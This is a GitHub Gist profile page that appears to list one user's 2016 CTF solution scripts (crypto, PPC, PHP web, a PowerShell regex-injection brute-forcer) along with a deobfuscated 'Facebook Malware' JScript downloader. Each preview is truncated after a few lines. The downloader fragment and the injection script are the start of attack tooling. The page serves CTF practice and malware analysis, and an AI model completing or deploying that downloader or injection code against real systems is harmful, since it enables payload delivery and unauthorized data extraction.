Skip to content

Instantly share code, notes, and snippets.

Itay Cohen ITAYC0HEN

View GitHub Profile
@ITAYC0HEN
ITAYC0HEN / SecuPrim.py
Last active Sep 12, 2016
[ASIS-CTF] SecuPrim
View SecuPrim.py
from pwn import *
from hashlib import *
import string
import itertools
from Crypto.Util.number import *
from sympy import perfect_power
import time
# Cout primes and perfect powers in a range
def countNumbers(lower,upper):
@ITAYC0HEN
ITAYC0HEN / palindrome.py
Last active Sep 5, 2016
[TWCTF-2016: PPC] Make a Palindrome!
View palindrome.py
# -*- coding:utf-8 -*-
# Server connection example file for Python 2
import socket
import sys
import random
import itertools
# My added data
def makepal(l):
for b in itertools.permutations(l, len(l)):
@ITAYC0HEN
ITAYC0HEN / index.php
Last active Sep 4, 2016
[TWCTF 2016: Web] Global Page
View index.php
<?php
if (!defined('INCLUDED_INDEX')) {
define('INCLUDED_INDEX', true);
ini_set('display_errors', 1);
include "flag.php";
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
@ITAYC0HEN
ITAYC0HEN / RegexInjection.ps1
Created Aug 31, 2016
[CTF(x) 2016 : WEB] Harambehub – 100 pts
View RegexInjection.ps1
# Written by: Itay Cohen, Aug 2016
$lowercase = [char[]]([int][char]'a'..[int][char]'z')
$uppercase = [char[]]([int][char]'A'..[int][char]'Z')
$numbers = 0..9
$chars = $lowercase+$uppercase+$numbers
function RegexInjection($regex){
foreach($c in $chars)
{
@ITAYC0HEN
ITAYC0HEN / cleanVersion.js
Created Jun 29, 2016
Facebook Malware (1st JS file) - June 2016
View cleanVersion.js
(function(p)
{
function downloader(url,dest,position)
{
if(!dest || !url)
{return null};
var _httpHandler=WScript.CreateObject("Msxml2.XMLhttp");
_httpHandler.onreadystatechange= function()
{
You can’t perform that action at this time.